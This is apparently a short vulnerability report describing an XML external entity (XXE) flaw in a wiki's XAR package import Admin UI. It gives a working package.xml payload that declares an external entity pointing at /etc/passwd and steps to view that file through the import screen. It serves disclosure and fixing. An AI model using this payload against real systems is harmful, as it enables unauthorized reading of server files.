XXE attack on the import XAR Admin UI

To reproduce:

• Create a XAR package and modify the package.xml's like this:

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  
  <package>
  <infos>
  <name>&xxe;</name>
  <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description>
  <licence></licence>
  <author>XWiki.Admin</author>
  ...
  

• Go to the Admin UI > Import
• Notice that this allows you to see the content of /etc/passwd